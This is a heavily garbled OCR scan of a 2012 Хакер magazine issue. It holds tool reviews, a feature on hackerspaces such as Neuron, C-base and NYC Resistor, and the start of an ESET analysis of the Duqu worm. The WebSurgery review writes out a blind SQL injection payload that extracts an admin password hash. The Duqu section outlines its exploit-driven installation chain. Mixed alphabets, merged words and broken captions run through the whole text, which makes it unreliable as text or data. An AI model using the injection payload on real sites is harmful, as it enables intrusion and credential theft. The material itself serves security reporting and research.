Автор : YGN Ethical Hacker Group URL: Ьit.ly/vDpEtB Система:

*nix/win

OWA5P Joomlal Vulneгability 5canneг- это один

из самых популярных и культовых ОWА5Р'овских

проектов . Как ясно иэ названия, этот перловый

скриптпредставляетсобойсканеруязвимостей

для известнейшей СМ5 Joomlal Его база данных уже давн о используется для вполне успе шн о-

го развития множества сторо нних онлайн- и

офлайн-проектов . Однако мы не будем на них

останавливаться и рассмотрим основные воз­

можности и особе нно сти самого сканера :

определение версии движка;

определение наиболее популярных WAF для Джумлы;

огромная встроенная база дан н ы х для поис­

кауязвимастей Джумлы и ее компонентов;

создание отчетов в HTML- и текстовом фор ­

мате;

автообновлениесканерадопоследнейвер­

сии;

быстрая работа за счет отсутствия фаззера и

наличия встроенной БД.

Сканер работает в интерактивном режиме

и имеет подробный хелп, где опи са ны в се его

параметры. Пример запуска :

joomscan.pl -u http: // joomla-site.com/ \ - х proxy: port

Есть масса дополнительных опций !

X-Tools

Masteгcaгd, Ameгican Expгess, JCB, D iscoveг,

Chiпa Unionl; идентификация эмисио нного банка !более 1000 BINI; обна ружение PAN в следующихБДи системах: My5QL, M55QL lбэкап-файлыl, Postgгe5QL, Exce l, VMwaгe VM DK, Огасlе !дампы);

парсингсжатых файлов пря мо в памяти I.ZIP, .GZ, .TGZI; низкое количество ложны х срабатываний.

Работать с прогой достаточн о пр осто: за -

пускаем ее из командн ой строки 1«./paпbusteг -1 . ./»1 и получаем отчет о том, где и какие дан­ные были на йдены !карта платежной системы й такой-то в файле таком-то! .

··~ ----.. = -

'~

Автор: SuRGeoNix URL: Ьit.ly/IXxlkm Система : Windows

WEBSURGERV, __ _ ИЛИ «ВСЕ ВКЛЮЧЕНО»

В состав Web5uгgeгy входят: веб-краулер, про­

грамма для брутфорса директорий и файл ов,

фаззер для продвинутой эксплуатации из­

вестных и неизвестных уязвимастей типа 5QL­инъекция, тестер Х55, программа для брутфорса

форм логина, детектор WAF, детектор уязвимых для Do5 мест в системе и навороченный пере­хватчик трафика , которым твой браузер обме­

нивается с веб-приложениями . Чтобы проиллю­

стрировать работу с комnлексом, возьмем н екий

абстрактный РНР-скрипт vuln.php, уязвимый для слепой 5Q L-инъекции. Нам необходимо достать

из БД My5QL МО5-хеш пользователя . Восполь­

зуемся вст роенным фаззеро м.

1. Генерируем nервый запрос llnitial Requestl:

GET /vu ln.php?id= НТТР/1.1 HOST : 1.2.3.4

2. С помощью встроенноголист-генератора

IList Configuгationl создаем два списка : пер­вый-с номерами от 1 до 32l п о дл ине MD5-xe ш al, а второй-с валидными символами для б рута.

3. Создаем финальный запросдля брута :

GET /vuln.php?id=1+and+'${List_2}'= substring((select+password+from+admin+ limit+1),${List_1},1) НТТР/ 1 . 1

HOST: 1.2.3.4

073

Page 76: haker

071, ХАКЕР 01/156/2012

Page 77: haker

Увлеченным людям свойствен­

но собираться вместе. Это дает

возможность с упоением брать­

ся за амбициозные проекты и

справляться с такими задачами,

которые никогда не удалось бы

решить в одиночку. Любому чело­

веку свойственно общаться, ве­

селиться и обмениваться опытом.

Нет ничего удивительного, что во

всем мире развивается культу-

ра хакерспей сов, где совместно

работаютспециалисты по ИБ . И

воттеперь,наконец,этоттренд

добрался до России.

ХАКЕР 01/156/2012

Хакерепейс-территори я хакеро в

КАКСОБРАТЬ

ХАКЕРОВ В ОДНОМ

МЕСТЕ

ЧТО ЖЕ ТАКОЕ ХАКСПЕЙС? В двух словах довольнотрудно объяснить неис­

кушенномучеловеку из России, что представ­

ляет собой хакспейс и зачем он нужен. Не просто

даже передать ту атмосферу, которая присуща

такого рода местам. Поэтомупозвольдля начала

nровести небольшую параллель. Ты наверняка

знаком с термином «коворкинг»-так называет­

ся схема, ко гда фрилансеры снимают для работы

общее помещение, оставаясь пр и этом неза­

висимыми и свободными, эдакий хитрый способ

выйти из социального вакуума, компенсировать

недостаток общения, поделиться идеями и, ко­

нечно, по возможности, помочьдруг другу. Также

ты наверняка помнишь о существовании клубов

радиолюбителей, авиамоделистов, компью­

терные клубов -словом , обо всехтех славных

заведениях, которые во время «нулевых>> почти

nовсеместно приказали долго жить. Так вот,

хакспейсы, по сути, объединяют в себе все луч­

шиеидеиковоркингаи старыхдобрыхклубовпо

интересам, хотя ставить хаксnейсы и коворкинг

на одну ступе н ь и сравнивать их зачастую не

совсем уместно.

Хакерепейс {neuron}

Итак, что же такое хакспейс? H ackeгspace

или hackspace- место, где собираются хакеры со схожими интересами, ча ще всего научными

и технологическими . Нужно отметить, что под

словом «хакеры>> здесь и далее подразумева­

ются не только специалисты в области IТ. Как

правило, пришедшие в хакспейс люди интере­

суются цифровым или электронным искусство м,

хотятобщения и ищут еди номышленни ков для

совместного творчества. Они встречаются, что­

бы получатьзнания и обмениваться ими, чтобы

слушать или проводить nрезентации, лекции,

семинары итак далее. Многие ком пании начина­

ютсвоесуществованиекакчастьхакспейса .

Главная особенностьлюбого хакспейса

заключается в том, что там собираются очень

разныелюди с разнымиспециализациями

и возможностями. При их объединении и

рождаются достаточно серьезн ые интердис­

циплинарныепроекты,напримери н женерно­

художествен н ые, дизайнерские . Арт-п роекты

сейчас вообще весьма популярны, а в США оче нь

распространены проекты типа do it youгself [сделай сам]. Еще одно стра нное, но пользую -

075

Page 78: haker

СЦЕНА

Берлинский C-Base. Космический корабль nриглашаетна борт!

щееся «спросом» направление-фэшн, то есть

электро ника дл я моды, эл ектроника, которую

можно носить! Хакспейсы, предоставляющие

помещения и всю необходимую инфраструктуру

для обеспечения посетителей едой и напитками

и энергоснабжения, оснащены разнообразным

оборудован ием: серверами и сетевым обору­

дованием, аудиотехникой, видеопроекторами,

игровыми при ставками и всевозможными

инструментами и станками. Именно в этом,

пожалуй, и состоитглавное преимущества

хакс п ейсов.

Как бы ни были важны социальная состав­

ляющая и атмосфера, и сколь бы она ни была

прекрасна, ос н ов ная фишка хакс п ейсов-зто

оборудование. На вооруже нии классических

хакспейсов, помимо самой обычной и широ-

ко используемой техники, всегда имеются

какие-нибудь интересные штуки: ЗD- пр интеры,

лазерные резаки, большие осциллографы и так

далее . Кстати, в н екоторых западных хакс п ейсах

естьдаже биологическое оборудование. Как ты

понимаешь, вышеперечисленные железки до­

вольно проблематично хранить дома, да и вряд

ли кто-то станет их п окупать, чтобы поставить

пару экспериментов. Они слишком тяжелы

и велики, потребляютогромное количество

электроэнергии и могут работать только в с пеци­

аль ны х условиях, например, для лазерного

резака обязательно нужен отсос воздуха. К тому

же подобные девайсы стоят порядка 30-50 тысяч долларов. Следует отметить, что и в хакспейсе

редкая железка стоит дешевле 1000-1500дол­

ларов. Согласись, этотоже довольно ощутимые

деньги, особенноеслиустройство нужнотебе на

оди н раз или вообщетолько для оз на комления.

Таким образом, хакс пейс - это место, куда

можно п рийти, что немаловажно, кругл осуточно,

и поработать с имеющимся там оборудованием,

то есть своего рода общая лаборатория и клуб

по интересам в одн ом флаконе. Это реальное

место, а не виртуальное сообщество, хотя вок ру г

ИЗВЕСТНЫЕ ХАКСПЕЙСЫ МИРА

C-base Сайт : www.c -base.org. Где расnоложен : Германия, Берлин.

Количество членов : 300+. Размер ежемесячных членских взносов : 17 евро.

076

Упомянуты й в статье бер­

линский C-base существует

с 1995 года. Является одн им из крупнейших и старей ­

ших хаксп ейсов в Европе.

London Hackspace (LHC) Сайт: london.hackspace.org .uk. Где расnоложен: Великобритания, Лондон.

Количество членов : 300+. Размережемесячных членских взносов : минимум 5 фунтов.

Самый большой хакспейс в Соеди­

ненн ом Королевстве . Основан

недавно, в 2009 году, но ужеуспел завоеватьлюбовь и признание

хакеров Евро пы .

хакспейса непременно формируется и онлайн­

комьюнити :1.

ХАКСПЕЙСЫ В РОССИИ На Западе уже давно поняли, что хакс п ейсы­

это действ ительн оудобно и круто, п оэто му в

каждом более-менее крупном европейском

го роде сегодня есть хотя бы один хакспейс, а то

и больше . Однако, если посмотреть на мировую

картухакспейсов,котора ядоступнана сайте

hacke гspa ces.oгg , можно с удивлени ем об нару­

жить , что Россия в этом пла н е п ока предста в ­

ляет собой больше белое пятно. О- о-о-о-оче нь

большое белое пятно . Даже в Африке хакспейсов больше, чем у нас! Воттакой парадокс.

<<Удивительн о, почемуу нас до сих пор н ет

нич его подобн о го. В едь менталитету наших

людей очень подходящий , и хо роших хакеров

мно го>>,- именно такие мысли приходят на ум,

и именно с этих слов начали свой рассказ соз­

датели первого российского хакспейса Nеuгоп

l n e uгonspace . гu ).

<< Н ейрон» п оявил ся в М оскве около года

назад . Фактиче ск и это второй хакс п е й с в Росс ии ,

так как раньше него был создан FOSS Labs в Ка­зани.Однако п оследни йне являетсяхакспейсом

в полном смысле слова: это су губо коммерческое

предприятие, которое представляет собой,

ско рее , бизнес-инкубатор. Таким образом ,

N еuгоп можно считать п ер вым хакс пейсо м в

нашей стране. Нам удалос ь побеседовать с

основателя ми << Нейрона»: на наши вопросы

любезно согласились ответить Алиса leSage lab,

Рабочая обстан о вка обыкновенного хакспейса

NYC Resistor Сайт: www.nycresistor.com. Где расnоложен: США, Нью- Йорк. Количество членов : 30+. Размер ежемесячных членских взносов: $75-115.

11 RESISTOR

Этотхакспейстакже

упоминается в статье .

NYC Resistoг-oдин из наиболее и з вестных хакерспейсов в США. Суще­

ствует с 2008 года.

ХАКЕР 01/156/2012

Page 79: haker

кофаундер], Александр IFaiгwaves, кофаундер] и Дмитрий leSage laЬI . Они рассказали нам немало

интересного.

Идея создать хакспейс в России зароди-

лась у ребят после посещения аналогичных

мест в Европе. К примеру, Александр, один из

кофаундеров «f-Jейрона>>, проникся этой идеей

после посещения берлинского ССС, на который

съезжаются хакеры со всей Европы. Сам по себе

конгресс, конечно, не является, хакспейсом,

однакотам царитта самая атмосфера хакерекого

сообщества, о которой уже упоминалось выше.

ССС -это конференция, куда люди приезжают

не просто слушать лекции, но и общаться, делать

совместные проекты. На последнем ССС была

проведенапрезентацияпрохакспейсь~благо­

даря которой Александр и за горелся этой идеей .

Под впечатлением атувиденного и услышанного

он принялся изучать тему и очень удивился, что

хакспейсовдо пор нет в России, ведь у нас так

много хороших инженеров и хакеров. Алиса, в

свою очередь, рассказала о посещении очень из­

вестного крупного хакспейса C-base в Берлине. Он находится в большом здании, которое полно­

стьюстилизованоподкосмическийкорабль.

Когда входишь внутрь, сначала струдом понима­

ешь, куда попал. Даже поздней ночьютам кипит

жизнь. Люди приходят в хакспейс после работы,

занимаются своими п роектами, исследованиям,

тусуются, что-то обсуждают, пьют ... нет, не пиво :]. Пр еимущественно напитки на основе мате, которые бодрят ничуть не хуже, чем кофе.

Впервые создатели Nеuгоп встретились

в январе, чтобы познакомиться и обсудить

объединившую их идею. Затем последовал

довольно долгий период подготовки и поисков

помещения . Арендовать его, удалось только в

июне. Так как хакспейс создавался силами всего

четырехчелове~обычнаяевропейскаясхема

«скинулись по чуть-чуть и арендовали поме­

щение» здесь, увы, не подошла . Основателям

<< Нейрона» пришлось вложить гораздо больше

денегистатьсвоегородаспонсорамихакспейса.

Однако в данном случае спонсоры не получили

взамен ничего особенного и не преследовали

никакой выгоды. Удастся ли команде вернуть

инвестиции?Врядли.Однакотакойрасклад

всецелоустраиваетоснователейхакспейса,

посколькувсезатевалосьсовсемнерадиденег

Но об этом мы поговорим далее, а пока рассмо­

трим не менее интересный вопрос-что может

предложитьпервыйроссийскийхакспейссвоим

посетителям?

Кiberpipa Сайт: www.kiberoipa .org . Где расположен : Словения, Любляна.

Количество членов: 20 активных и 40 бывших, которые участвуют в жизни хаксnейса.

Размер ежемесячных членских взносов: отсутствуют.

18'. 1 Немного ближе к нашим ~ kiberpipa краям. Словенский хак-

с___: ______ _.J спейс, созданный в 2001

году, сочетает в себе лабораторию, культурный

центр и интернет-кафе.

ХАКЕР 01 /156/ 2012

Хакерепейс-территория хакеров

Ust of Hacker Spaces

l'hls 11 1 comprehenslve, user~alntalned lllt of 111 actJve hecklrtPICII throughout the wortd.

1>t:ddahackcr~pacc

We hiiVt: ilbll il ~at D( p!aмtd Hickgr SQIC!J 1 1 WI M 1 1 8 !jst pf АН hackt[!iDiiCO'i t:rtнJnd th4i giObl • including thOII 1til in Ьuilding PfOCIII · 1Х t:lrlildy

c loaed. Ustoft:vt:ntli

Тhis р~а is cac:had dua to its long renOenng time . lf you want to tluah tn. сееМ, ~О

LRtof~WC>Jt:ds

:o-addaproject

Recenlchanou

Aall!tlld o:NIIOCI

SOoocitol pt: gt:l

ёZ;,;Ic t-,1 :0-:"-:--iljiL-'

·­-

Liep 1 Зiltii/W 1 Н)'Ь1)С 1 Tt lflln 1

1 ""'''"' 1

lfwt:'rt: tnllling YOtil spк.t:, 01' yOtJ wt:nt t:nd,fм ~· alюt.lt to c railtt: • new orиr , р/801 51 ~ to th4 h t .

В hadr.erspace В ~ В ~

PILAВКIO OSG - Optn lфgrj1tpry 1i11:IJJ:iш ЬИn:_ .... ~

Грустная картинка, отражающая российские реалии

«Нейрон»занимаетоколостаквадратных

метров в здании на Лужнецкой набережной

Москвы . Одно из помещений хакс пейса пре­

вращено в кухню, в скором времени планируется

оборудовать переговорную и принтерную !когда будетсобран 30-принтер]. Так как Nеuгоп был создан совсем недавно, он пока не может по­

хвастаться изобилием оборудования, однако

интересные штуки здесь уже есть. К примеру,

имеется Softwaгe Defiпed Radio, на основе кото­рого можно реализовать множество различных

систем . Сейчасоно используетсядляразработки

приемника WiMAX и создания базовой GSМ­станции. Как признался нам один из кофаунде­

ров хакспейса, ранее он сам лишь читал о таких

устройствах и мог разве что мечтать о том, чтобы

поработать с ними вживую . В «Нейроне» также

конструируютЗD-принтер. Кстати, уже сейчас

несколькочеловекприходятвхакспейскакраз

для того, чтобы поработать с определенными

устройствами.

Metalab Caйт : www. metalab . at . Где расположен: Австрия , Вена . Количество членов: 130+. Размер ежемесячных членских взносов : 20 евро.

Еще одно весьма популярное среди

европейских хакеров место. Хак­

спейс основан в 2006 году. Комьюни­

ти Metalab играет не последнюю роль в жизни города.

~ bttp·l/aQLadwrtrtChprgdl

htШ•I/www IЧSJ!Dtrмk,гшac• cpmrf

NOvemЬII'"

-­"'" NovemЬef

Novernt>.r 2011

В хакспейсе регулярно проходят раз-

личные семинары, с расписанием которых

можно ознакомиться на сайте пеu го п sрасе.г u .

Например, скоро планируется серия семина­

ровпоэлектроникеиактивноведетсяпоиск

людей, которые могли бы провести семинары

поАгduiпо. Интересно, что семинары в «Нейро­

не» уже сейчас достаточно посещаемы, хотя их

никто не рекламирует! В хакспейсе в основ-

ном проводятся открытые семинары, и на них

регулярно собирается порядка 15-17 человек. Для тех, кто подумал, что это мало, поясню: все

приходящие люди действительно заинтересо­

ваны темой. Поверь, лучше собрать 15 человек, которым семинар на самом деле нужен, чем 150, которые пришли поскучать . В дальнейшем для

экспериментапланируется проводитьплатные

семинары, в частности семинары, посвященные

различному железу. В целом, по мнению осно­

вателей Nеuгоп, хакспейс развивается весьма

гармонично и в него приходит ровно столько

людей, сколько он может вместить. В ближай­

шем будущем создатели очень хотят привлечь

в «Нейрон» электронщиков и робототехников,

ведь живое «железячное>> комьюнити -это

просто отлично! Здесь вообщетолько рады всему

клевому и интересному, например, фаундеры

сходуназвалитакиетемы,какавиамоделирова­

ние, создание квадрокоптеров и локпикинг !тот, где используются настоящие замки; это очень

популярная забава на Западе]. Однако хакспейсы в России не ограничива­

ются одним только «Нейроном>>, и это просто

замечательно! Еще об одном российском хак­

спейсе-HackSpace Saiпt-Peteгsbuгg,- кота-

077

Page 80: haker

СЦЕНА

Рабочее место в хакспейсе

рый находится в Северной столице, нам п оведал

его кофаундер Сергей Сильнов (polakumekay. com]. Уступаю ему клавиатуру, чтобы он смог рас­сказать о своем детище сам: << Идея организовать

хакспейс в Питере витала в воздухе как минимум

год. Я шерстил форумы в поисках единомышлен­

ников, ездил по хакерс п ейсам в Европе. В итоге

я наткнулся на двух ребят из ИТМО, которые про­

двинулись немного дальше вдел е создания хак­

спейса, и мы решили объединить наши усилия .

Чтобы привлечь максимум участников в нашу л а-

бораторию, мы сделали открытые массовым (оно состоялось 29 октября текущего года.- При м.

Mifгill] : семинары , конкурсы и мастер-кла ссы

продолжались целых два дня. Наш хакерепейс

занимает две пл ощадки. Первую-офисную

комнату площадью 40 кв. м -предоставило ИТМО. Оборудования там немного: компьютеры,

объединенные в сеть, да несколько паяльников.

Каждую среду в зто м помещении проходят сбо­

ры , на которые может прийти любой желающий,

nредложитьсвойпроектилиприсоединиться

nри светедня интерьеры C-Base, быть может, выглядят не так футуристично, но все равно впечатляют

078

к уже существующему. Здесь также регулярно

проводятся мастер-классы и семинары. Идет

работа над квадрокоптером, гаджетом панорам­

ной съемки и другими устройствами. На другой

площадке сосредоточено оборудование для

более << тяжелых» пр оектов: мощный ЧПУ-шный

3D-фрезер, сварочный аппарат для алюминия,

nлазменный резак, трубоги б, суnеркомпьютер

для рендеринга 3D-графики -и устроен склад

для листов алюминия разной толщины. На зтой

площадке члены хакспейса занимаются соз­

даниемэлектророликов,электровелосипедаи

супервелосипедадля скоростныхрекордов~

От себя замечу, что все адреса, явки , па роли

и расписание мероприятий ты найдешь на сайте

хаксnейса ( hackspace-spb.гu ].

ывает коммерческим»-такова

негласная«nерваязаповедь» большинства

хаксnейсеров всего мира. В самом начале статьи

уже было сказано, что сравнивать хакспейсы с

коверкингом не совсем уме стно , и теперь пора

объяснить, почем у. Как nравило, коверкинг

имеет коммерческую составляющую, в то время

как в большинстве хакспейсо в она отсутствует

начисто . Справедливости ради нужно заметить,

что некоторые хакс п ейсы созданы ради денег,

но таки х все же меньшинство. Как ни странно,

больш ин ство хакс пей сов (и их создатели] не

преследуют никакой выгоды. Это не бизнес, в

основном хакспейсы ор ганизуют из любви к идее

и к хакерекому искусству, как бы высокопарно

ХАКЕР 01 /156/2012

Page 81: haker

В NYC Resistor кипит работа

это ни звучало. Однако любой хакспейс, как пра­

вило, финансируютего члены, таким образом, он

выводится на самоокупаемость.

На Западе это обычно выглядиттак: все

члены хакспейса ежемесячно скидываются по

$50-100, чтобы оплатить аренду помещения [иногда, например при университетах, помеще­нияпредоставляютсябесплатн~втакихслучаях

взнос не превышает 10-30 баксов!. Деньги, оставшиеся после оплаты аренды, не оседают

в чьем-нибудь кармане, а уходят на закупку

необходимых вещей, начиная от напитков и

заканчивая новым оборудованием . Плюс такого

подхода заключается в том, что люди, самостоя­

тельно оплатившие помещение, не чувствуют

никакогодавления ни с чьей стороны. Они не

обязаны никаким спонсорам, и никто не диктует

им, над какими проектами нужно работать и в

каком направлении двигаться.

Думаю, туту многих возникли сомнения .

Вопросы типа «а хватит ли денег?» и «будет ли

это работать?» действительно приходят на ум.

Приведунебольшойпример.

В Нью-Йорке в Америке находится всемирно известный крупный хакспейс- NYC Resistoг. Из него, кстати, выросла компания MakeгBot, кото­

рая ныне производит настольные 30-принтеры.

В хакспейсе совсем мало постоянных чле-

нов- всего 30 человек. Однако это осознанный ход. Дело в том, что фактически комьюнити

хакспейса существенно больше- оно насчиты­

ваетнесколькосотенчеловек.Бизнес-модель

NYC Resistoгпpocтa: полови н а всех расходов

окупается за счет взносов постоянных членов, а

другую половину организаторы набирают, про­

водя платные семинары и сдавая в аренду ла­

зерный резак. Кстати, основной доходхакспейса

как раз складывается из платы за семинары по

обучению работе на этом самом резаке. :1 Если тебя удивило, что в крупном хакспейсе

так мало постоянных членов, замечу, что это как

раз нормально. Так, на последнем ССС прошла

специальная встреча для создателей хакспейсов,

количество членов в которыхдостигло 200-300 че-

ХАКЕР 01/156/2012

лове к . Дело в том, что, когда хакспейс приелекает

так много людей, возникают вполне закономерные

проблемы-увы, далеко не все люди способны

уживаться друг с другом. Начинают разгораться

конфликты [например, кто-нибудь постоянно

мусорит, а остальных это раздражает!, люди разби­ваются на группы и такдалее и тому подобное. Эта

встреча показала, что большинство организаторов

хакспейсов видят лишь одно решение этой про­

блемы -открывать новые отделения, создавать

новые, более камерные группы, которые будут

заниматься чем-то одним.

К примеру, уже упоминавшийся C-Base на­считываетболее300членов.Внемсостоятне

только хакеры, но и многие другие интересные

люди -от юристов до ученых. И у C-base уже есть воттакиевот меньшие подразделения .

Но, какты понимаешь, организоватьхакспейс

на Западе в целом гораздо проще, чем у нас. В

Америке, к примеру, существует некоммерческая

организация Space Fouпdatioп, которая высту-

Библиотека в хакспейсе

Хакерепейс-территория хакеров

пает в роли зонтичной организации для других

хакспейсов. Это значит, что любой хакспейс может

статьдочерней организацией фонда, получить

льготы [Space Foundation имеет налоговые льго­ты, чегодовольно сложнодобиться на Западе!,

проконсультироваться, обратиться за помощью

в оформлении документов, необходимые для

существованияхакспейс~ирассчитыватьна

всестороннюю поддержку. В России подобное,

конечно, тоже было бы очень полезно.

О российских реалиях мы можем рассказать

на примере всетого же хакспейса Neuгon . Аренда

помещения 100 кв. м в районе Воробьевых гор обходится в 120 тысяч рублей в месяц. С юриди­ческой точки зрения под такое начинание нужно

создавать НКО [неком мерческую организацию!, на которую и оформляются все документы. Сейчас

в << Н ейроне» существует два типа членства: посто­

ян ное и динамическое. Постоянное членство под­

разумевает, что у человека есть свой стол, который

никто и никогда не трогает. Можно спокойно nри­

ходить и работать в любое время суток. Динамиче­

ское членство позволяет посещать хакспейс после

работы и заниматьлюбые доступные nлоскости :1. Постоянноечленство стоитЬтысячрублей

в месяц,динамическое-2тысячи. Цифры рас­

считаны на основе арендных ставок. На данный

момент в Neuгon уже состоят nять или шесть

nостоянных членов и семьдинамических. Не­

сложно подсчитать, что основателям хаксnейса

пока приходится доплачивать разницу из своего

кармана. Однако, как уже было сказано выше, в

скором времени nланируется начать пр о ведение

платных семинаров, а также есть идея собирать

пожертвования на открытых семинарах. Мы

уверены, что у ребят все получится и они вскоре

выйдутнасамоокупаемост~

Ну и конечно, хотелось бы, чтобы <<Нейрон» и

HackSpace-SPb не стали первыми и последними хакспейсами в России. Надеемся, что найдутся

и другие энтузиасты, в том числе и в других

городах нашей огромной страны, которые по до­

стоинству оценят и реализуют прекрасную идею

хакспейсов . ::Х:

079

Page 82: haker

MALWARE

иле н .....

очень Наверное, все слышали про подвиги Stuxnet в деле тонкой настройки иранской атомной

электростанции в Бушере. Практически

половина прошлогоднего летнего отпуска

была проведена в IDA в сопровождении различных компонентов червя Stuxnet, большая часть была разобрана в статике,

а повсеместное использование ООП не

добавляло ни грамма веселья. Прошел год ...

Certificate - •. -

General 1 Details 1 Certification Path 1

~ ~ Certificate lnformation

This certificate is intended for the following purpose(s):

•Ensures software came from software puЬiisher • Protects software from alter ation after puЬiication

* Refer to the certification authority's statement for details.

Issued to: С -Media Electronics Incorporation

Issued Ьу: VeriSign Class 3 Code Signing 2009-2 Сд

Yalid from 8/2/2009 to 8/2/2012

Instal Certificate .. ·1 Issuer Statement

ок

Рис . 1. Встречайте -легальный сертификат!

080

Матросов Александр, Senior malware researcher, ESET

WIN32/DUQU: ТЕМНЫЙ ПРЕЕМНИК ЧЕРВЯ STUXNET

ередина октября, спокойный хмурый осенний вечер за

чтением RSS-ленты и бокалом односолодового виски. И

вот среди сотен заголовков мои глаза уцепились за слово

Stuxnet ... Первая мысль- опять раздувают шумиху по поводу давнего

инцидента. Но, пробежавшись глазами по статье в благе Symantec, я понял, что речь идет о чем-то другом, и это «что-то» имеет впол-

не определенное название- Duqu. Собственно, так и начался наш геsеагсh преемника Stuxnet. После п ервых сообщений о том, что Duqu и Stuxnet базируются на одном исходном коде, нам захотелось разо­браться во всем самим, так как коллектив нашего вирлаба еще не

забыл бессонные ноч и, проведенные за реверсом Stuxпet. =1 После внимательного изучения доступной информации стало

ясно, что ноги растут из венгерской исследовательской лаборатории

Cгyptogгaphy and System Secuгity (CгySyS]. Ее специалисты первыми обна­ружили Duqu, заметили сходство этой вредоносной программы со Stuxnet, провели неплохой бинарный анализ и поделились его результатами со

специалистам из антивирусных компаний. Видимо, сотрудники CгySyS

имели какое-то отношение к расследованию одного из инцидентов с

участием Duqu в Венгрии, что и объясняет их раннюю осведомленность .

ХАКЕР 01 / 156/ 2012

Page 83: haker

Verity Certificate

Common Name: C-t.le<!ia Electronics lncorporation

Status: Revoked

Validily (Gt.l ): Aug З, 2009- Aug 2, 2012

Class: Digila! IO Class З- Soft\'l are Validation FreeReplacement

Organization: C-Me<! ia Electronics lncorporation

Organ izational Unil: Digilai iD Class З- Microsoft Soft\'lare Validation v2

State: Tai\•1an

City/Location : Taipei

Country: ТW

Serial Number: 04e931Ьf57ebc5947d3dc4ee7a236e

lssuer Digest: 2a48d0fcac3ca29d9a34 fff50Зb2c29f

Рис.2. Сертификат отозван. Туда ему и дорога

IU:tei•i•iili В самом начале истории с Duqu не было информации о том, каким образом происходит ее установка в систему. Удалось извлечь лишь

вредоносные компоненты, оставш иеся после заражения. Опять

же нет никаких гарантий, что специалисты смогли найти все, по­

скольку Duqu, как и Stuxпet, использует целый комплекс методов для обхода защитного ПО .

ПРОЦЕСС УСТАНОВКИ Установка Duqu проходит в несколько ос новны х этапов :

0) Запуск вредоносного вложения в виде dос-файла, который содер­

жит код, эксплуатирующи й уяз вимость нулево го дня CVE-2011-3402. 1) Загрузка первогоуровня шелл-кода в адрес но е пространство моду­

ля wiп32k. sys.

2) Загрузка второгоуровня шелл-кода, предназначенногодля выпол­

нения в ядре .

3) Загрузка полезной нагрузки в виде нового дра йвера и е го инициа­

лизация.

4) Внедрение в адресное прос транство системного сервиса

seгvices .e xe основного модуля установщика Duqu и его актива­ция. После этого происходитзаражение системы.

На уровне шелл-кода Duqu местами очень напоминают Stuxпet . В

результате складывается впечатление, что это про сто немного видо­

изменённый шелл-код, заточен ный под указанную уязвимость .

ОПЯТЬ ЛЕГАЛЬНЫЕ СЕРТИФИКАТЫ Еще один небезынтересный момент заключается в том, что для

компонентов Duqu используются легальные цифровые подписи. Н а

данный момент выявлено, что в процессе заражения устанавлива-

Name Size

LJ Оа566Ыб16с8аfееf214372Ыа0580с7 *

LJ Oeecd17 с6с215Ь358Ь7Ь872Ы4Ьfd800 * LJ 94c4ef91dfcd0c53a96fdc387f9f9c35 * LJ 4541e850a228eb69fd0f0e924624Ы45 *

u 9749d38ae9b9ddd81b50aad679ee87 ее *

b4ac366e24204d821376653279cbad86 *

u e8d6b4dadb9бddb58775e6c85ЫOЬ6cc *

192,512

24,960

6,750

29,568

85,504

232,448

6,750

Рис . З . Набор сэмплов для анализа

ХАКЕР 01/156/2012

Силен Дуку очень

void OtcrRoutit~e ( int Кеу , ch•r •ВYff~r . int lkrff~rSiz (

<'~ ,., .. ... есх , Кеу

ea:,8471122h esi, es1 - еЬх , &uffl!rSizt

test еЬх , е.Ьх

Jb• sh01't lос_129!д

'" есх , [ «Х+8 ]

edi , Bufftr

loc_12919 ~

[esi +r:di] , cl t:cx,3

~· edlf, I!CX

·~l edx, ес:х

ец, 1E2060A3n .... - eu , есх .... , e•x,4747293h .. , edx, OCh loo t-<fx , (edx+l!iiX+l ) add I!Si ,l

'" есх , • ~. esi , ebx jb short lск_12910

loc_l293A~ рор esi

Рис . 4. nрограммный КОА нашего расшифровщика

Рис . 5. Граф потока управления Stuxпet

ется драйвер cmi4432.sys, который отвечает за внед рение кода и содержит легальную цифровую подпись, принадлежащую компа­

нии C-Media Electгonics lnc. Цифровой сертификат, используемый для генерации подписи, был выдан VeгiSign со сроком дей ствия до

августа 2012 года !рисунок 1]. В настоящее время он уже отозван и не является валидным. При этом имена дра йверов Duqu очень по­хожи на названия впол н е легальных драйверов от производ ителей

железа. Злоумышленники рассчитывали , что все это поможет как

можно дольше ск рывать факт атаки и сбить с толку специалистов

во время крими налистич еской экспертизы файловой системы.

АНАЛИЗ КОМПОНЕНТОВ DUQU Содержимое п ер вого набора сэмплов, который мы пол учили для

анализа, представлено на рисунке 3. Оказалось, что часть файло в за шифрована. Это ввело на с в

небольшой стуn ор, так как сэмплы был и получены от колле г из

другой антивирусной компании, у которых совершенно точно имел­

ся расшифрованный вариант. Однако анализ одного из дра йверов,

который отвечал за вн едр ение других ком nон ентов Duqu в систем­ны е nроцессы, позв олил обнаружить код алгоритма расшифровки.

Программный код нашего расшифровщика приведен на рисунке 4. При анализе кода этого драйвера выяснилось, что функционально

он пра кти чески п олн остью идентичен коду драйвера, используемого

в Stuxnet. Все различия, которые мы обнаружили , были введены ,

скорее, для противодействия сигнатурному и эври стическому методу

обнаружения вредоносного ПО . На рисунке 5 представлен граф по­тока управления Stuxnet, а на рисунке 6- Duqu. Структура графов

УДАР ПО ЦЕЛЯМ

Атаки были проведеныв сл едую щи х странах [возможно,

обнаружены еще не все по страдавшие ) : Венгрия, Франция,

Нидерланды, Ш вейцария, Украина, Инди я, Иран, Судан, Вьетнам.

Следует отметить, что Иран п одвергалея атаке и в прошлый раз.

Н ем ного забегая вперед, скажу, что нам удалось подтвердить

идентичность некоторых участков кода Duqu и Stuxпet. Речь идет не просто об использовании отдельных идентич ны х фу н кций, а об

одинаковой платформе для разработки вредоносных программ,

пр едназначенных для целенаправленны х атак . В принципе, с

высокой вероятностью за этими двумя громкими инцидентами

могут стоя ть одни и те же люди или организа ция , разработавшая и

Stuxпet, и Duqu.

081

Page 84: haker

MALWARE

Рис . 7. Декомnилированный код nроверкидат

def dec rypt( data) :

и базовых блоков отчетливо показывает явное сходство этих двух

вирусов, что опять же говорит об их преемственности.

Когда мы начали исследовать Win32/Duqu, нас сразу заинтере­совал воnрос, каким образом можно установить точную дату за­

ражения комnьютера этой вредоносной программой . Эта информа­

ция, nрежде всего, nолезна для nроведения криминалистической

эксnертизы и восстановления картины nроизошедших событий .

У на с появилась идея о том, что если Duqu хранит информацию о времени своего самоудаления, то должна иметься и информация о

том, когда начинается отсчет этого времени !она может быть либо зашита в счетчик, либо указана в виде даты заражения!. С помо­щью нескольких наборов сэм плов с разных зараженных машин нам

